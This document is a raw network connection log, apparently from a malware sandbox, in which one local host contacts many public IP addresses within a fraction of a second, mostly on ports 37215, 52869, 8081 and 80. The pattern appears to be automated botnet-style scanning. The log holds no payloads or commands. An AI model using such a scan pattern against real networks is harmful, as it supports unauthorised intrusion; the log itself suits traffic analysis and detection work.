Jul 20, 2024 23:00:59.233215094 CEST	34477	37215	192.168.2.23	157.208.192.253
Jul 20, 2024 23:00:59.233215094 CEST	34477	37215	192.168.2.23	197.137.52.79
Jul 20, 2024 23:00:59.233405113 CEST	37215	50524	197.26.114.175	192.168.2.23
Jul 20, 2024 23:00:59.234364986 CEST	37215	43088	198.69.140.160	192.168.2.23
Jul 20, 2024 23:00:59.234813929 CEST	49544	37215	192.168.2.23	41.37.144.8
Jul 20, 2024 23:00:59.234813929 CEST	37906	37215	192.168.2.23	41.53.184.177
Jul 20, 2024 23:00:59.234813929 CEST	50398	37215	192.168.2.23	157.174.150.26
Jul 20, 2024 23:00:59.234814882 CEST	56072	37215	192.168.2.23	169.239.10.111
Jul 20, 2024 23:00:59.234814882 CEST	43956	37215	192.168.2.23	197.16.71.7
Jul 20, 2024 23:00:59.234814882 CEST	47064	37215	192.168.2.23	41.123.9.56
Jul 20, 2024 23:00:59.234814882 CEST	57408	37215	192.168.2.23	197.6.34.101
Jul 20, 2024 23:00:59.234814882 CEST	34477	37215	192.168.2.23	165.98.155.117
Jul 20, 2024 23:00:59.234848976 CEST	37215	60908	41.96.218.16	192.168.2.23
Jul 20, 2024 23:00:59.235234022 CEST	37215	34626	41.160.207.169	192.168.2.23
Jul 20, 2024 23:00:59.235245943 CEST	37215	36304	41.41.122.187	192.168.2.23
Jul 20, 2024 23:00:59.235471964 CEST	34477	37215	192.168.2.23	41.31.60.219
Jul 20, 2024 23:00:59.235471964 CEST	34477	37215	192.168.2.23	150.116.70.131
Jul 20, 2024 23:00:59.235471964 CEST	34477	37215	192.168.2.23	151.231.48.105
Jul 20, 2024 23:00:59.235567093 CEST	34477	37215	192.168.2.23	115.72.208.26
Jul 20, 2024 23:00:59.235567093 CEST	34477	37215	192.168.2.23	148.153.203.37
Jul 20, 2024 23:00:59.235567093 CEST	45996	37215	192.168.2.23	157.115.232.41
Jul 20, 2024 23:00:59.235567093 CEST	33424	37215	192.168.2.23	157.77.208.129
Jul 20, 2024 23:00:59.235567093 CEST	53310	37215	192.168.2.23	103.34.160.230
Jul 20, 2024 23:00:59.235567093 CEST	34477	37215	192.168.2.23	197.158.10.108
Jul 20, 2024 23:00:59.235567093 CEST	34477	37215	192.168.2.23	65.236.186.174
Jul 20, 2024 23:00:59.235567093 CEST	34477	37215	192.168.2.23	41.104.57.47
Jul 20, 2024 23:00:59.236478090 CEST	49836	37215	192.168.2.23	197.55.44.167
Jul 20, 2024 23:00:59.236478090 CEST	53706	37215	192.168.2.23	157.34.104.183
Jul 20, 2024 23:00:59.236478090 CEST	37938	37215	192.168.2.23	157.210.25.215
Jul 20, 2024 23:00:59.236478090 CEST	34477	37215	192.168.2.23	157.21.62.146
Jul 20, 2024 23:00:59.236479044 CEST	46326	37215	192.168.2.23	157.222.120.169
Jul 20, 2024 23:00:59.236479044 CEST	52812	37215	192.168.2.23	41.248.83.42
Jul 20, 2024 23:00:59.236479044 CEST	33444	37215	192.168.2.23	197.168.86.78
Jul 20, 2024 23:00:59.236479044 CEST	44780	37215	192.168.2.23	219.159.165.91
Jul 20, 2024 23:00:59.236495972 CEST	37215	44106	197.114.117.243	192.168.2.23
Jul 20, 2024 23:00:59.236747026 CEST	37215	41970	197.113.51.118	192.168.2.23
Jul 20, 2024 23:00:59.236759901 CEST	37215	39662	216.40.91.1	192.168.2.23
Jul 20, 2024 23:00:59.236771107 CEST	37215	34126	157.77.213.179	192.168.2.23
Jul 20, 2024 23:00:59.236783028 CEST	37215	56586	41.244.190.175	192.168.2.23
Jul 20, 2024 23:00:59.236913919 CEST	37215	43118	197.65.44.128	192.168.2.23
Jul 20, 2024 23:00:59.237384081 CEST	34477	37215	192.168.2.23	41.228.165.27
Jul 20, 2024 23:00:59.237384081 CEST	34477	37215	192.168.2.23	4.169.160.4
Jul 20, 2024 23:00:59.237384081 CEST	39268	37215	192.168.2.23	41.224.244.226
Jul 20, 2024 23:00:59.237384081 CEST	48984	37215	192.168.2.23	41.231.235.189
Jul 20, 2024 23:00:59.237384081 CEST	34477	37215	192.168.2.23	151.119.141.235
Jul 20, 2024 23:00:59.237384081 CEST	34477	37215	192.168.2.23	197.178.68.50
Jul 20, 2024 23:00:59.237384081 CEST	34477	37215	192.168.2.23	162.248.125.253
Jul 20, 2024 23:00:59.237385035 CEST	34477	37215	192.168.2.23	41.16.243.31
Jul 20, 2024 23:00:59.237751007 CEST	34477	37215	192.168.2.23	197.136.36.0
Jul 20, 2024 23:00:59.237751007 CEST	40646	37215	192.168.2.23	198.189.132.142
Jul 20, 2024 23:00:59.237751007 CEST	44552	37215	192.168.2.23	41.216.133.169
Jul 20, 2024 23:00:59.237751007 CEST	46618	37215	192.168.2.23	118.76.56.217
Jul 20, 2024 23:00:59.237751007 CEST	42692	37215	192.168.2.23	197.241.179.191
Jul 20, 2024 23:00:59.237751007 CEST	55620	37215	192.168.2.23	157.113.182.239
Jul 20, 2024 23:00:59.237751007 CEST	34754	37215	192.168.2.23	41.24.39.230
Jul 20, 2024 23:00:59.237751007 CEST	34477	37215	192.168.2.23	41.183.16.175
Jul 20, 2024 23:00:59.238158941 CEST	37624	37215	192.168.2.23	41.245.116.58
Jul 20, 2024 23:00:59.238158941 CEST	48742	37215	192.168.2.23	197.251.31.217
Jul 20, 2024 23:00:59.238158941 CEST	34477	37215	192.168.2.23	157.164.244.13
Jul 20, 2024 23:00:59.238158941 CEST	38176	37215	192.168.2.23	41.20.53.198
Jul 20, 2024 23:00:59.238158941 CEST	41502	37215	192.168.2.23	157.109.181.179
Jul 20, 2024 23:00:59.238158941 CEST	34477	37215	192.168.2.23	197.115.71.184
Jul 20, 2024 23:00:59.238159895 CEST	34477	37215	192.168.2.23	157.207.194.180
Jul 20, 2024 23:00:59.238159895 CEST	34477	37215	192.168.2.23	75.135.231.237
Jul 20, 2024 23:00:59.238421917 CEST	39114	37215	192.168.2.23	197.196.77.201
Jul 20, 2024 23:00:59.239357948 CEST	33452	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:59.239891052 CEST	59916	37215	192.168.2.23	157.129.228.162
Jul 20, 2024 23:00:59.239891052 CEST	34477	37215	192.168.2.23	41.65.253.57
Jul 20, 2024 23:00:59.240422010 CEST	36392	37215	192.168.2.23	157.153.207.206
Jul 20, 2024 23:00:59.240422010 CEST	59652	37215	192.168.2.23	41.240.87.211
Jul 20, 2024 23:00:59.240422010 CEST	34477	37215	192.168.2.23	157.160.155.100
Jul 20, 2024 23:00:59.240422010 CEST	34477	37215	192.168.2.23	197.95.199.46
Jul 20, 2024 23:00:59.240422010 CEST	34477	37215	192.168.2.23	197.123.228.129
Jul 20, 2024 23:00:59.240422010 CEST	34477	37215	192.168.2.23	168.215.79.229
Jul 20, 2024 23:00:59.240422010 CEST	60464	37215	192.168.2.23	41.189.194.244
Jul 20, 2024 23:00:59.240422010 CEST	54948	37215	192.168.2.23	157.23.56.129
Jul 20, 2024 23:00:59.240976095 CEST	34477	37215	192.168.2.23	157.169.147.69
Jul 20, 2024 23:00:59.240976095 CEST	40842	37215	192.168.2.23	41.241.135.76
Jul 20, 2024 23:00:59.240976095 CEST	34477	37215	192.168.2.23	197.45.171.127
Jul 20, 2024 23:00:59.240976095 CEST	34477	37215	192.168.2.23	197.36.250.175
Jul 20, 2024 23:00:59.240976095 CEST	51490	37215	192.168.2.23	41.75.68.114
Jul 20, 2024 23:00:59.240976095 CEST	34477	37215	192.168.2.23	197.205.191.164
Jul 20, 2024 23:00:59.240976095 CEST	34477	37215	192.168.2.23	41.148.71.18
Jul 20, 2024 23:00:59.241352081 CEST	37215	50406	157.51.198.43	192.168.2.23
Jul 20, 2024 23:00:59.241494894 CEST	37215	46650	110.243.142.209	192.168.2.23
Jul 20, 2024 23:00:59.241507053 CEST	37215	40010	170.47.187.157	192.168.2.23
Jul 20, 2024 23:00:59.241523027 CEST	37215	42824	139.165.159.227	192.168.2.23
Jul 20, 2024 23:00:59.241534948 CEST	37215	44694	41.47.64.65	192.168.2.23
Jul 20, 2024 23:00:59.241547108 CEST	37215	50040	41.124.29.47	192.168.2.23
Jul 20, 2024 23:00:59.241558075 CEST	37215	35748	197.112.222.157	192.168.2.23
Jul 20, 2024 23:00:59.241569996 CEST	37215	44104	41.123.176.91	192.168.2.23
Jul 20, 2024 23:00:59.241786003 CEST	37215	39668	157.53.103.29	192.168.2.23
Jul 20, 2024 23:00:59.241941929 CEST	37215	49544	41.37.144.8	192.168.2.23
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	197.181.175.154
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	50.225.35.150
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	216.117.189.117
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	41.104.243.109
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	200.34.145.49
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	41.186.44.171
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	197.183.189.212
Jul 20, 2024 23:00:59.242175102 CEST	34477	37215	192.168.2.23	133.203.143.68
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	157.167.37.33
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	41.67.240.63
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	41.206.118.156
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	157.164.133.217
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	157.75.153.63
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	154.179.8.92
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	189.202.157.115
Jul 20, 2024 23:00:59.242528915 CEST	34477	37215	192.168.2.23	197.131.12.150
Jul 20, 2024 23:00:59.242914915 CEST	54936	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.242914915 CEST	54936	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.243046045 CEST	37215	39976	41.33.245.21	192.168.2.23
Jul 20, 2024 23:00:59.243057966 CEST	37215	37906	41.53.184.177	192.168.2.23
Jul 20, 2024 23:00:59.243248940 CEST	37215	47260	8.108.207.220	192.168.2.23
Jul 20, 2024 23:00:59.243616104 CEST	37215	50398	157.174.150.26	192.168.2.23
Jul 20, 2024 23:00:59.243628979 CEST	37215	56072	169.239.10.111	192.168.2.23
Jul 20, 2024 23:00:59.243841887 CEST	37215	45996	157.115.232.41	192.168.2.23
Jul 20, 2024 23:00:59.243928909 CEST	37215	55528	210.132.156.163	192.168.2.23
Jul 20, 2024 23:00:59.244066000 CEST	37215	43956	197.16.71.7	192.168.2.23
Jul 20, 2024 23:00:59.244087934 CEST	55824	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.244173050 CEST	37215	49836	197.55.44.167	192.168.2.23
Jul 20, 2024 23:00:59.244185925 CEST	37215	33424	157.77.208.129	192.168.2.23
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	99.127.53.163
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	197.152.46.211
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	157.125.184.206
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	37.135.128.183
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	157.105.179.241
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	197.254.27.183
Jul 20, 2024 23:00:59.244198084 CEST	34477	37215	192.168.2.23	41.38.39.102
Jul 20, 2024 23:00:59.244198084 CEST	48578	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	120.213.248.238
Jul 20, 2024 23:00:59.244317055 CEST	58330	37215	192.168.2.23	41.128.110.44
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	41.228.48.205
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	41.244.36.81
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	175.207.90.173
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	41.63.59.6
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	41.106.88.211
Jul 20, 2024 23:00:59.244317055 CEST	34477	37215	192.168.2.23	157.69.182.186
Jul 20, 2024 23:00:59.244539976 CEST	37215	53706	157.34.104.183	192.168.2.23
Jul 20, 2024 23:00:59.245649099 CEST	37215	53310	103.34.160.230	192.168.2.23
Jul 20, 2024 23:00:59.245661020 CEST	37215	37938	157.210.25.215	192.168.2.23
Jul 20, 2024 23:00:59.245996952 CEST	37215	47064	41.123.9.56	192.168.2.23
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	144.56.196.210
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	53.214.201.83
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	197.189.106.85
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	41.95.145.71
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	197.111.223.189
Jul 20, 2024 23:00:59.246207952 CEST	34477	37215	192.168.2.23	44.62.22.247
Jul 20, 2024 23:00:59.246207952 CEST	60326	52869	192.168.2.23	2.32.130.76
Jul 20, 2024 23:00:59.246207952 CEST	39554	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:59.246820927 CEST	39554	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:59.246867895 CEST	37215	46326	157.222.120.169	192.168.2.23
Jul 20, 2024 23:00:59.248836040 CEST	37926	37215	192.168.2.23	157.32.103.4
Jul 20, 2024 23:00:59.249810934 CEST	37215	52812	41.248.83.42	192.168.2.23
Jul 20, 2024 23:00:59.249823093 CEST	37215	57408	197.6.34.101	192.168.2.23
Jul 20, 2024 23:00:59.249835014 CEST	37215	33444	197.168.86.78	192.168.2.23
Jul 20, 2024 23:00:59.249974012 CEST	37215	44780	219.159.165.91	192.168.2.23
Jul 20, 2024 23:00:59.249986887 CEST	37215	39268	41.224.244.226	192.168.2.23
Jul 20, 2024 23:00:59.249998093 CEST	37215	40646	198.189.132.142	192.168.2.23
Jul 20, 2024 23:00:59.250010967 CEST	37215	48984	41.231.235.189	192.168.2.23
Jul 20, 2024 23:00:59.250021935 CEST	37215	37624	41.245.116.58	192.168.2.23
Jul 20, 2024 23:00:59.250027895 CEST	37215	44552	41.216.133.169	192.168.2.23
Jul 20, 2024 23:00:59.250040054 CEST	37215	46618	118.76.56.217	192.168.2.23
Jul 20, 2024 23:00:59.250051022 CEST	37215	42692	197.241.179.191	192.168.2.23
Jul 20, 2024 23:00:59.250062943 CEST	37215	48742	197.251.31.217	192.168.2.23
Jul 20, 2024 23:00:59.250076056 CEST	37215	39114	197.196.77.201	192.168.2.23
Jul 20, 2024 23:00:59.250087976 CEST	37215	55620	157.113.182.239	192.168.2.23
Jul 20, 2024 23:00:59.250099897 CEST	80	33452	95.43.93.252	192.168.2.23
Jul 20, 2024 23:00:59.250112057 CEST	37215	38176	41.20.53.198	192.168.2.23
Jul 20, 2024 23:00:59.250123978 CEST	37215	59916	157.129.228.162	192.168.2.23
Jul 20, 2024 23:00:59.250135899 CEST	37215	34754	41.24.39.230	192.168.2.23
Jul 20, 2024 23:00:59.250137091 CEST	39114	37215	192.168.2.23	197.196.77.201
Jul 20, 2024 23:00:59.250147104 CEST	37215	41502	157.109.181.179	192.168.2.23
Jul 20, 2024 23:00:59.250158072 CEST	37215	36392	157.153.207.206	192.168.2.23
Jul 20, 2024 23:00:59.250171900 CEST	37215	59652	41.240.87.211	192.168.2.23
Jul 20, 2024 23:00:59.250189066 CEST	37215	40842	41.241.135.76	192.168.2.23
Jul 20, 2024 23:00:59.250200987 CEST	37215	60464	41.189.194.244	192.168.2.23
Jul 20, 2024 23:00:59.250212908 CEST	37215	51490	41.75.68.114	192.168.2.23
Jul 20, 2024 23:00:59.250225067 CEST	37215	54948	157.23.56.129	192.168.2.23
Jul 20, 2024 23:00:59.250226021 CEST	33452	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:59.250544071 CEST	40608	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:59.250777006 CEST	8081	54936	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.252806902 CEST	38768	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:59.252806902 CEST	38768	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:59.253367901 CEST	8081	55824	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.253381014 CEST	37215	58330	41.128.110.44	192.168.2.23
Jul 20, 2024 23:00:59.253452063 CEST	55824	8081	192.168.2.23	74.113.80.174
Jul 20, 2024 23:00:59.253632069 CEST	8081	48578	186.199.72.114	192.168.2.23
Jul 20, 2024 23:00:59.253674984 CEST	48578	8081	192.168.2.23	186.199.72.114
Jul 20, 2024 23:00:59.256330013 CEST	52869	60326	2.32.130.76	192.168.2.23
Jul 20, 2024 23:00:59.256375074 CEST	60326	52869	192.168.2.23	2.32.130.76
Jul 20, 2024 23:00:59.256913900 CEST	80	39554	95.58.105.201	192.168.2.23
Jul 20, 2024 23:00:59.257179976 CEST	37215	37926	157.32.103.4	192.168.2.23
Jul 20, 2024 23:00:59.257313013 CEST	37926	37215	192.168.2.23	157.32.103.4
Jul 20, 2024 23:00:59.257407904 CEST	80	40608	95.58.105.201	192.168.2.23
Jul 20, 2024 23:00:59.257545948 CEST	40608	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:59.257749081 CEST	43442	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:59.257797956 CEST	43442	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:59.258169889 CEST	8081	38768	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:59.258222103 CEST	39654	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:59.258472919 CEST	44056	52869	192.168.2.23	38.158.187.83
Jul 20, 2024 23:00:59.258757114 CEST	37284	37215	192.168.2.23	197.35.57.182
Jul 20, 2024 23:00:59.261185884 CEST	44498	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:59.262016058 CEST	54860	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:59.262016058 CEST	54860	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:59.262708902 CEST	80	43442	95.204.198.68	192.168.2.23
Jul 20, 2024 23:00:59.264718056 CEST	55746	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:59.265284061 CEST	59444	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:59.265284061 CEST	59444	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:59.265813112 CEST	8081	39654	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:59.265825033 CEST	52869	44056	38.158.187.83	192.168.2.23
Jul 20, 2024 23:00:59.265861988 CEST	39654	8081	192.168.2.23	121.107.250.116
Jul 20, 2024 23:00:59.265903950 CEST	44056	52869	192.168.2.23	38.158.187.83
Jul 20, 2024 23:00:59.265908003 CEST	37215	37284	197.35.57.182	192.168.2.23
Jul 20, 2024 23:00:59.266036987 CEST	37284	37215	192.168.2.23	197.35.57.182
Jul 20, 2024 23:00:59.266073942 CEST	55384	37215	192.168.2.23	157.243.7.84
Jul 20, 2024 23:00:59.266426086 CEST	80	44498	95.204.198.68	192.168.2.23
Jul 20, 2024 23:00:59.266558886 CEST	44498	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:59.266932011 CEST	34088	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:59.266932011 CEST	34088	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:59.267465115 CEST	8081	54860	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:59.267640114 CEST	60502	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:59.270109892 CEST	34972	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:59.271887064 CEST	8081	55746	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:59.271899939 CEST	80	59444	95.13.168.179	192.168.2.23
Jul 20, 2024 23:00:59.271934986 CEST	37215	55384	157.243.7.84	192.168.2.23
Jul 20, 2024 23:00:59.271939039 CEST	55746	8081	192.168.2.23	150.211.33.207
Jul 20, 2024 23:00:59.272064924 CEST	55384	37215	192.168.2.23	157.243.7.84
Jul 20, 2024 23:00:59.272099972 CEST	40778	52869	192.168.2.23	104.152.150.214
Jul 20, 2024 23:00:59.272218943 CEST	59428	37215	192.168.2.23	197.118.130.41
Jul 20, 2024 23:00:59.272326946 CEST	8081	34088	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:59.272346973 CEST	49112	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:59.272346973 CEST	49112	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:59.274741888 CEST	43772	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.274802923 CEST	43772	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.274928093 CEST	80	60502	95.13.168.179	192.168.2.23
Jul 20, 2024 23:00:59.274979115 CEST	60502	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:59.275401115 CEST	50174	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:59.276098013 CEST	44656	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.276683092 CEST	8081	34972	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:59.276776075 CEST	34972	8081	192.168.2.23	79.214.171.15
Jul 20, 2024 23:00:59.278038025 CEST	52869	40778	104.152.150.214	192.168.2.23
Jul 20, 2024 23:00:59.278052092 CEST	80	49112	95.224.122.49	192.168.2.23
Jul 20, 2024 23:00:59.278105021 CEST	40778	52869	192.168.2.23	104.152.150.214
Jul 20, 2024 23:00:59.278223038 CEST	37215	59428	197.118.130.41	192.168.2.23
Jul 20, 2024 23:00:59.278259039 CEST	59428	37215	192.168.2.23	197.118.130.41
Jul 20, 2024 23:00:59.278482914 CEST	41340	37215	192.168.2.23	197.95.169.228
Jul 20, 2024 23:00:59.278896093 CEST	41780	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:59.278897047 CEST	41780	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:59.279797077 CEST	55466	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.279797077 CEST	55466	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.282941103 CEST	8081	43772	8.92.127.66	192.168.2.23
Jul 20, 2024 23:00:59.282953978 CEST	80	50174	95.224.122.49	192.168.2.23
Jul 20, 2024 23:00:59.283000946 CEST	50174	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:59.283055067 CEST	8081	44656	8.92.127.66	192.168.2.23
Jul 20, 2024 23:00:59.283102989 CEST	44656	8081	192.168.2.23	8.92.127.66
Jul 20, 2024 23:00:59.283850908 CEST	37215	41340	197.95.169.228	192.168.2.23
Jul 20, 2024 23:00:59.283876896 CEST	80	41780	95.184.188.30	192.168.2.23
Jul 20, 2024 23:00:59.283902884 CEST	41340	37215	192.168.2.23	197.95.169.228
Jul 20, 2024 23:00:59.283997059 CEST	42844	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:59.284615040 CEST	56348	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.284801960 CEST	60488	52869	192.168.2.23	86.86.67.253
Jul 20, 2024 23:00:59.284945011 CEST	8081	55466	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:59.285038948 CEST	34184	37215	192.168.2.23	41.78.37.100
Jul 20, 2024 23:00:59.288620949 CEST	35314	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:59.288620949 CEST	35314	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:59.289307117 CEST	53520	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.289307117 CEST	53520	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.290853024 CEST	80	42844	95.184.188.30	192.168.2.23
Jul 20, 2024 23:00:59.290864944 CEST	8081	56348	96.99.34.154	192.168.2.23
Jul 20, 2024 23:00:59.290899992 CEST	42844	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:59.290899992 CEST	56348	8081	192.168.2.23	96.99.34.154
Jul 20, 2024 23:00:59.290941954 CEST	52869	60488	86.86.67.253	192.168.2.23
Jul 20, 2024 23:00:59.290981054 CEST	60488	52869	192.168.2.23	86.86.67.253
Jul 20, 2024 23:00:59.292536020 CEST	37215	34184	41.78.37.100	192.168.2.23
Jul 20, 2024 23:00:59.292579889 CEST	34184	37215	192.168.2.23	41.78.37.100
Jul 20, 2024 23:00:59.293281078 CEST	8081	54936	74.113.80.174	192.168.2.23
Jul 20, 2024 23:00:59.293965101 CEST	54398	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.295806885 CEST	80	35314	95.217.227.150	192.168.2.23
Jul 20, 2024 23:00:59.295928001 CEST	8081	53520	32.26.120.233	192.168.2.23
Jul 20, 2024 23:00:59.296621084 CEST	36382	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:59.297364950 CEST	80	39554	95.58.105.201	192.168.2.23
Jul 20, 2024 23:00:59.300532103 CEST	8081	54398	32.26.120.233	192.168.2.23
Jul 20, 2024 23:00:59.300581932 CEST	54398	8081	192.168.2.23	32.26.120.233
Jul 20, 2024 23:00:59.301918030 CEST	8081	38768	121.107.250.116	192.168.2.23
Jul 20, 2024 23:00:59.302253008 CEST	80	36382	95.217.227.150	192.168.2.23
Jul 20, 2024 23:00:59.302387953 CEST	36382	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:59.302701950 CEST	49618	37215	192.168.2.23	197.74.184.130
Jul 20, 2024 23:00:59.304331064 CEST	37372	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.304331064 CEST	37372	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.304850101 CEST	52188	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:59.304850101 CEST	52188	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:59.306596994 CEST	38248	8081	192.168.2.23	121.11.165.132
Jul 20, 2024 23:00:59.306802034 CEST	38564	52869	192.168.2.23	205.29.56.156
Jul 20, 2024 23:00:59.307285070 CEST	58556	37215	192.168.2.23	197.75.123.93
Jul 20, 2024 23:00:59.307421923 CEST	53262	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:59.307840109 CEST	37215	49618	197.74.184.130	192.168.2.23
Jul 20, 2024 23:00:59.307882071 CEST	49618	37215	192.168.2.23	197.74.184.130
Jul 20, 2024 23:00:59.308675051 CEST	8081	54860	150.211.33.207	192.168.2.23
Jul 20, 2024 23:00:59.308715105 CEST	80	43442	95.204.198.68	192.168.2.23
Jul 20, 2024 23:00:59.309468985 CEST	8081	37372	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:59.309559107 CEST	34874	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:59.309559107 CEST	34874	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:59.309783936 CEST	80	52188	95.129.39.24	192.168.2.23
Jul 20, 2024 23:00:59.310342073 CEST	51332	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:59.310342073 CEST	51332	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:59.310770988 CEST	35750	8081	192.168.2.23	58.209.208.205
Jul 20, 2024 23:00:59.312036037 CEST	34962	37215	192.168.2.23	197.194.243.184
Jul 20, 2024 23:00:59.312222958 CEST	52406	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:59.312949896 CEST	42650	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:59.312949896 CEST	42650	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:59.313306093 CEST	80	59444	95.13.168.179	192.168.2.23
Jul 20, 2024 23:00:59.314894915 CEST	47348	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:59.314946890 CEST	47348	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:59.315237999 CEST	43524	8081	192.168.2.23	157.132.243.78
Jul 20, 2024 23:00:59.315673113 CEST	55066	52869	192.168.2.23	162.117.132.232
Jul 20, 2024 23:00:59.316057920 CEST	34358	37215	192.168.2.23	197.67.20.2
Jul 20, 2024 23:00:59.317421913 CEST	48426	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:59.317806005 CEST	57738	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.317806005 CEST	57738	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.319066048 CEST	58612	8081	192.168.2.23	13.201.247.1
Jul 20, 2024 23:00:59.319763899 CEST	49600	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:59.319830894 CEST	49600	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:59.320041895 CEST	8081	34088	79.214.171.15	192.168.2.23
Jul 20, 2024 23:00:59.320079088 CEST	8081	38248	121.11.165.132	192.168.2.23
Jul 20, 2024 23:00:59.320091963 CEST	52869	38564	205.29.56.156	192.168.2.23
Jul 20, 2024 23:00:59.320116997 CEST	37215	58556	197.75.123.93	192.168.2.23
